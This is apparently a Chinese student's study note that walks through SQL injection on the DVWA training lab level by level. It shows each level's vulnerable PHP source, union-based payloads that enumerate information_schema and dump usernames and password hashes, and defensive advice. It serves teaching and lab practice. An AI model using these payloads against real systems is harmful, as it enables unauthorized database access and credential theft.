sql注入学习

前端时间实训讲了sql注入,但是因为那段时间只顾着打靶场了没有做笔记,今天完成第三四次作业时发现很多都忘记了,因此做这篇文章一方面分享知识,另一方面记录相关重要知识,方便后续复习回顾

SQL注入

我将通过DVWA靶场中的sql题目讲解SQL注入

原理:

SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者可以通过构造不同的SQL语句来实现对数据库查询、删除,增加,修改数据等等操作,如果数据库的用户权限足够大,还可以对操作系统执行操作.

类型:
依据注入点类型分类

​ 数字类型的注入

​ 字符串类型的注入

​ 搜索型注入

依据提交方式分类

​ GET注入

​ POST注入

​ COOKIE注入

​ HTTP头注入

依据获取信息的方式分类

​ 基于布尔的盲注

​ 基于时间的盲注

​ 基于报错的注入

​ 联合查询注入

堆查询注入 (可同时执行多条语句)

首先我们需要对数据库的基础知识有一定的了解

1
2
3
4
5
6
7
8
9
mysql中注释符:# 、/**/ 、 --

information_schema数据库中三个很重要的表:

information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名

information_schema.tables: 该数据表存储了mysql数据库中的所有数据表的表名

information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名
创建数据库
1
CREATE DATABASE 库名1 character set utf-8; //创建数据库并库编码集为utf-8 支持中文
创建表
1
2
3
4
5
CREATE TABLE Product
(字段1 CHAR(4) NOT NULL,
字段2 VARCHAR(100) NOT NULL,
字段3 VARCHAR(32) NOT NULL, //字段1,2,3不能为空
字段4 INTEGER );

每一列的数据类型(后述)是必须要指定的,数据类型包括:

  • INTEGER 整数型
  • NUMERIC ( 全体位数, 小数位数)
  • CHAR 字符串,长度不能改变
  • VARCHAR 字符串,长度可以改变
  • DATE 日期型
查询语句
1
select 字段名1,字段名2,字段名3 from 库1.表1 ;//查询库1里面表1的对应记录

当我们只想查找某条记录时,我们可以加上where语句

1
select 字段名1,字段名2,字段名3 from 库1.表1 where 字段名1='xx'; //查询库1里面表1的字段名为1的对应记录
更新语句
1
2
UPDATE 表1
SET 字段1 = 'xxx'; //更新表1字段1数据为xxx
删除表语句
1
DROP TABLE 表1;

靶场测试

DVWA靶场

注:第一次进入靶场,难度默认为impossible,我们需要把他调成对应的难度

Low

检测是否存在sql注入

当我们输入1后,他会显示对应的用户信息

对应源码:这里只展示与我们本题有关的源码

1
2
3
4
5
6
7
8
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

服务器端的low.php并没有对客户输入的id进行任何检查与过滤,直接将SQL语句的执行结果显示给客户端。

当我们输入1’时查看返回结果

可以确定确实存在sql注入

当我们输入1时.

实际传入服务器的语句是SELECT first_name, last_name FROM users WHERE user_id = ‘1’;

很明显这就是我们刚才讲的sql查询语句,并且可以看到服务器并没有对我们提交的参数进行检查.

构造payload

通过order by 猜测字段数,只有当我们知道了对应的字段数,才能利用union进行下一步的操作

union介绍

1
2
3
1.Union必须由两条或者两条以上的SELECT语句组成,语句之间使用Union链接。
2.Union中的每个查询必须包含相同的列、表达式或者聚合函数,他们出现的顺序可以不一致(这里指查询字段相同,表不一定一样)
3.列的数据类型必须兼容,兼容的含义是必须是数据库可以隐含的转换他们的类型

对应的源码

1
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

payload①

1
1' order by 3 --  

1后面的’用于将参数之前的’闭合 –后面有一个空格用于注释到参数后面的’

order by语句官方介绍

1
2
3
ORDER BY 语句
ORDER BY 语句用于根据指定的列对结果集进行排序。
ORDER BY 语句默认按照升序对记录进行排序。

可以看到返回结果为不知道的列3在…中

当我们重新构造payload

1
1' order by 2 --

发现回显正常.因此可以断定前表共有两个字段.

再次构造payload

1
1' union select 1,2 --

页面回显正常,并且将我们的1,2也给返回到页面中了,因此我们可以在1,2中构造恶意的语句进行查询

1
1' union select version(),2 -- 

查询数据库版本信息

前面我们说了三个重要的表,现在他们派上用场了

如何根据数据库得知其中的数据表呢,我们可以根据information_schema数据库中的schemata,tables,columns三个表格,这三个表格包括了数据库所有的库名,表明和字段名

1
1' union select SCHEMA_NAME,2 FROM INFORMATION_SCHEMA.SCHEMATA # //查询所有的数据库名

查到了DVWA数据库

1
1' union select TABLE_NAME,2 FROM INFORMATION_SCHEMA.TABLES where  INFORMATION_SCHEMA.TABLES.TABLE_SCHEMA='dvwa'# //查询DVWA所有的表格
1
1' union select user,password from dvwa.users # //查询user表格下的用户名和密码

得到的密码一般为hash,网上有专门的解密网站.

Medium

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}

if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

该题为了防止用户直接输入使用了下拉表单,我们可以通过Hackbar提交post请求

参数后面加’判断是否存在注入
1
id=2'&Submit=Submit

发现单引号被转义了,大概就是addslashes等类似函数的转义作用,继续测试一下,看看自己的猜测是否准确,由于addslashes转义的字符有(单引号(’) 双引号(”) 反斜杠(\) NULL),分别测试双引号、&、-等其他字符,发现双引号被转义,但是&等其他字符不会。猜测是否不是字符注入

构造payload

1
id=3 order by 4&Submit=Submit

果然和我们想的一样,接下来我们就可以用同样的方式获取用户名和密码,但是这里需要注意的是我们构造的payload需要绕过单号的转义

1
id=2 union select database(),version() &Submit=Submit //查询当前所在数据库和对应的版本

‘dvwa’我们可以直接用database()来代替以绕过单引号转义

构造payload

1
id=2 union select TABLE_NAME,2 FROM INFORMATION_SCHEMA.TABLES where  INFORMATION_SCHEMA.TABLES.TABLE_SCHEMA=database()&Submit=Submit
1
id=2 union select user,password from dvwa.users &Submit=Submit

high

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}

if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}

?>

这里我们发现当我们点击change your ID时和我们原先并不是一个页面

分析源码可知,该题同样是字符型单引号注入,但是服务器限制了我们查询的记录数,每次只允许查询一条,这个我们可以后面通过mysql注释绕过

1
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

最后payload

1
1' union select TABLE_NAME,2 FROM INFORMATION_SCHEMA.TABLES where  INFORMATION_SCHEMA.TABLES.TABLE_SCHEMA='dvwa'# //查询DVWA所有的表格
1
1' union select user,password from dvwa.users#

但是最后大家应该都发现了,我们是在得到源代码基础上分析出来的,也就是白盒测试,但是在真实环境中,站点的源代码是不可能让我们所看到了,这就需要我们通过大量的尝试判断.并且这题如果在我们不知道源码的情况下当我们在参数后加’时并不能看到错误回显.这就需要我们有一定的经验,通过大量尝试解决.

impossible

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;

$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.

$num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray();

// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}

break;
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

分析源码我们可以看到

该级别的代码采用了PDO技术,划清了代码与数据的界限以防止SQL注入;

防御技术:

代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御
sql 注入的最佳方法。
( 1 )所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使
用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统
都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注
入攻击。
( 2 )对进入数据库的特殊字符( ‘ <>&*; 等)进行转义处理,或编码转换。
( 3 )确认每种数据的类型,比如数字型的数据就必须是数字
( 4 )数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句
无法正确执行。
( 5 )网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码
不一致有可能导致一些过滤模型被绕过。

结尾防御技术借鉴于老师的实训讲义